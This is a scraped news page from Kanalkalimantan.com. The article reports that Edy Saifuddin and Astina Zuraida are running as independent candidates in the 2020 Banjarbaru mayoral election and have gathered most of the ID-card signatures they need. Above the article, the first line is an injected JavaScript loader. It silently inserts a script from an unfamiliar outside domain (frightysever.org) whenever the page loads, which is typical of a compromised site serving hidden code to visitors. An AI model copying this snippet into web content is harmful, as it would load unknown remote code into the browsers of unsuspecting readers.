(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
POLITIK BANJARBARU

Kokoh di Jalur Independen, Edy Jadikan Parpol Cuma Pendukung di Pilkada Banjarbaru


KANALKALIMANTAN.COM, BANJARBARU– Di tengah panas perebutan tiket parpol Pilkada Banjarbaru antara incumbent Nadjmi-Jaya dengan Aditya-Iwansyah, sosok kandidat lain Edy Saifuddin-Astina Zuraida, tak ambil pusing. Pasangan Edy-Astina mantab memilih jalur independen untuk bersaing dengan dua rivalnya tersebut.

Edy-Astina mengatakan, jalur independen lebih memberikan peluang bagi mereka lolos pendaftaran dibandingkan sibuk berebut kavling parpol. Walau sebelumnya Edy mengakui sempat mendaftar ke  PDIP dan Nasdem. “Untuk saat ini belum melakukan pendekatan ke partai, karena kita lagi fokus untuk maju di independen,” kata Edy kepada Kanalkalimantan.com, Senin (13/1/2020).

Ada alasan mengapa dirinya mendaftar di PDIP dan Nasdem, meskipun sebenarnya kokoh di jalur independen. Ia menilai PDIP adalah partai yang nasionalis dan merupakan partai pemenang pemilu nasional. Sedangkan, ketertarikannya dengan Nasdem lantaran menyatakan tanpa mahar. “Jadi saya punya alasan mendaftar di parpol. Tapi, intinya partai hanya saya jadikan pendukung saja. Untuk pengusung tetap di jalur independen,” lanjutnya.

Jalur non parpol itu sebenarnya juga tidak mudah. Meski tanp ribet lobi-lobi pimpinan parpol hingga ke Jakarta, tapi Edy-Astina harus mengumpulkan dukungan dan sebaran dukungan sebanyak 15.635 KTP. Jumlah KTP dukungan ini juga diharuskan berasal dari 3 Kecamatan yang ada di Kota Banjarbaru.

Lalu, ditanya sudah berapa banyak KTP yang berhasil dikumpulkan, Edy mengatakan 90 persen telah terpenuhi. Ia juga berusaha mengumpulkan KTP lebih dari jumlah yang telah ditetapkan KPU, karena dikhawatirkan terdobel saat tahapan verifikasi.

Adapun tiga kecamatan di wilayah Banjarbaru yang menjadi fokus Edy, yakni di Kecamatan Landasan Ulin, Kecamatan Liang Anggang, dan Kecamatan Cempaka. “Insya Allah terkejar hingga batas waktu,” tuturnya.

Jalur independen tetap memiliki peluang besar menyongsong kemenangan. Edy-Astina bisa saja menjadi kuda hitam. Pun hal tersebut sempat terjadi pada pasangan Nadjmi-Jaya yang 5 tahun silam,berhasil menduduki kursi Walikota dan Wakil Walikota Banjarbaru melalui jalur independen. (kanalkalimantan.com/rico)

 

Reporter : Rico
Editor : Cell

 


Desy Arfianty

Recent Posts

Hadir Perdana di Banjarbaru, Generasi Happy Tri Ajak Gen Z Bikin Kreasi

KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More

5 jam ago

Dari Banua Creative Festival, Kalsel Incar Tuan Rumah Ekrafnas 2025

KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More

6 jam ago

UMK Banjarmasin Naik Menjadi Rp3,59 Juta

KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More

6 jam ago

DKISP Banjar Raih Penghargaan Apresiasi Media Pemprov Kalsel 2024

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More

13 jam ago

Polisi Ungkap Kasus Curanmor di Rusunawa Banjarmasin, 3 Orang Ditangkap

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More

14 jam ago

Keseruan Ragam Lomba Meriahkan HUT ke-25 DWP

KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More

1 hari ago

This website uses cookies.